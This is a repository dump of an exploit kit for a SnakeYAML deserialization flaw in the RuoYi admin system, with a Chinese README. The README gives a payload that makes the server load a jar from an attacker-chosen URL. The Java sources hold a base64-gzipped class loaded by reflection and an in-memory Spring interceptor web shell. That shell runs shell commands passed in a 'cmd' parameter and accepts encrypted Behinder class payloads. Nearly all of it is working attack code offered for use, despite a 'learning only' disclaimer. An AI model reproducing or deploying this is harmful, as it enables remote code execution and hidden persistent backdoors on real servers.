Repository: lz2y/yaml-payload-for-ruoyi Branch: main Commit: d2b994d11800 Files: 8 Total size: 17.4 KB Directory structure: gitextract_16pfl3qh/ ├── .gitignore ├── README.md ├── pom.xml └── src/ └── main/ ├── java/ │ └── artsploit/ │ ├── AwesomeScriptEngineFactory.java │ ├── B64.java │ ├── GodzillaUtils.java │ └── TestInterceptor.java └── resources/ └── META-INF/ └── services/ └── javax.script.ScriptEngineFactory ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /target/ ================================================ FILE: README.md ================================================ # yaml-payload-for-ruoyi **分析文章** https://xz.aliyun.com/t/10651 **注入方法:** 把jar放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可 ```java org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]') ``` ![image-20211127160033485](http://image.lz2y.top/image-20211127160033485.png) 若依 snakeyaml 反序列化漏洞注入内存马 **RuoYi** 1. 直接执行命令:?cmd=whoami 2. 连接冰蝎:/login?cmd=1(cmd不为空即可),密码为rebeyond,使用冰蝎正常连接即可 3. 卸载内存马:?cmd=delete ![image](https://user-images.githubusercontent.com/55266300/140618949-9973ce81-9308-4bc3-9dd7-286c7281ce33.png) **RuoYi Vue** 1. 直接执行命令:`/dev-api/?cmd=whoami` 2. 连接冰蝎:暂不支持 3. 卸载内存马:`/dev-api/?cmd=delete` **项目仅供学习使用,任何未授权检测造成的直接或者间接的后果及损失,均由使用者本人负责** ================================================ FILE: pom.xml ================================================ 4.0.0 groupId yaml-payload-for-ruoyi 1.0-SNAPSHOT 8 8 org.springframework.boot spring-boot-dependencies 2.2.13.RELEASE pom import org.springframework.boot spring-boot-starter-web 2.2.13.RELEASE ================================================ FILE: src/main/java/artsploit/AwesomeScriptEngineFactory.java ================================================ package artsploit; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.*; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { static { Class aClass = null; try { aClass = defineClass("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"); aClass.newInstance(); } catch (Exception e) { throw new RuntimeException(e); } } public AwesomeScriptEngineFactory() { try { } catch (Exception e) { e.printStackTrace(); } } public static Class defineClass(String classByte) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException { ClassLoader classLoader = (ClassLoader) Thread.currentThread().getContextClassLoader(); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class}); defineClass.setAccessible(true); byte[] evalBytes = Base64.getDecoder().decode(classByte); java.io.ByteArrayInputStream byteInputStream = new java.io.ByteArrayInputStream(evalBytes); java.io.ByteArrayOutputStream byteOutputStream = new java.io.ByteArrayOutputStream(); java.util.zip.GZIPInputStream gzipInputStream = new java.util.zip.GZIPInputStream(byteInputStream); byte[] buffer = new byte[1024]; for (int i=-1;(i=gzipInputStream.read(buffer)) >0;){ byteOutputStream.write(buffer,0,i); } byte[] bytes = byteOutputStream.toByteArray(); return (Class) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length}); } @Override public String getEngineName() { return null; } @Override public String getEngineVersion() { return null; } @Override public List getExtensions() { return null; } @Override public List getMimeTypes() { return null; } @Override public List getNames() { return null; } @Override public String getLanguageName() { return null; } @Override public String getLanguageVersion() { return null; } @Override public Object getParameter(String key) { return null; } @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; } @Override public String getOutputStatement(String toDisplay) { return null; } @Override public String getProgram(String... statements) { return null; } @Override public ScriptEngine getScriptEngine() { return null; } } ================================================ FILE: src/main/java/artsploit/B64.java ================================================ package artsploit; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.zip.GZIPOutputStream; public class B64 { public static void main(String[] args) throws IOException { InputStream in = B64.class.getClassLoader().getResourceAsStream("artsploit/TestInterceptor.class"); byte[] bytes = new byte[in.available()]; in.read(bytes); // 将字节压缩下 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); GZIPOutputStream gzipOutputStream=new GZIPOutputStream(byteArrayOutputStream); gzipOutputStream.write(bytes); gzipOutputStream.close(); System.out.println(java.util.Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); } } ================================================ FILE: src/main/java/artsploit/GodzillaUtils.java ================================================ package artsploit; public class GodzillaUtils { public static byte[] aes(byte[] s, boolean m,byte[] key) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key, "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); value = value.replace("\n", "").replace("\r", ""); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } } ================================================ FILE: src/main/java/artsploit/TestInterceptor.java ================================================ package artsploit; import org.apache.tomcat.util.codec.binary.Base64; import org.springframework.web.servlet.HandlerInterceptor; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.*; public class TestInterceptor implements HandlerInterceptor { private final String k = "e45e329feb5d925b"; public Class g(byte []b) throws Exception { // To get ClassLoader and invoke the protected final Method of ClassLoader ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Field modifiers = defineClass.getClass().getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(defineClass, defineClass.getModifiers() & ~Modifier.FINAL & ~Modifier.STATIC | Modifier.PUBLIC); return (Class) defineClass.invoke(classLoader,b, 0, b.length); } public TestInterceptor() throws Exception { ArrayList adaptedInterceptors = getAdaptedInterceptors(); for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { return; } } adaptedInterceptors.add(this); Runtime.getRuntime().exec("calc"); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null && cmd.equals("delete")){ ArrayList adaptedInterceptors = getAdaptedInterceptors(); for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { adaptedInterceptors.remove(i); } } }else if (cmd != null && request.getMethod().equals("GET")) { PrintWriter writer = response.getWriter(); String o = ""; ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); }else{ p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd}); } Scanner c = new Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else if (cmd != null && request.getMethod().equals("POST")){ // for rebeyond HttpSession session = request.getSession(); session.setAttribute("u", this.k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(this.k.getBytes(),"AES")); TestInterceptor testInterceptor = new TestInterceptor(); String base64String = request.getReader().readLine(); System.out.println(base64String); byte[] bytesEncrypted = new Base64().decode(base64String); byte[] bytesDecrypted = c.doFinal(bytesEncrypted); Class newClass = testInterceptor.g(bytesDecrypted); Map pageContext = new HashMap(); pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response); newClass.newInstance().equals(pageContext); } return true; } private ArrayList getAdaptedInterceptors() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { Field f=Thread.currentThread().getContextClassLoader().loadClass("com.ruoyi.common.utils.spring.SpringUtils").getDeclaredField("applicationContext"); f.setAccessible(true); org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); ArrayList adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping); return adaptedInterceptors; } } ================================================ FILE: src/main/resources/META-INF/services/javax.script.ScriptEngineFactory ================================================ artsploit.AwesomeScriptEngineFactory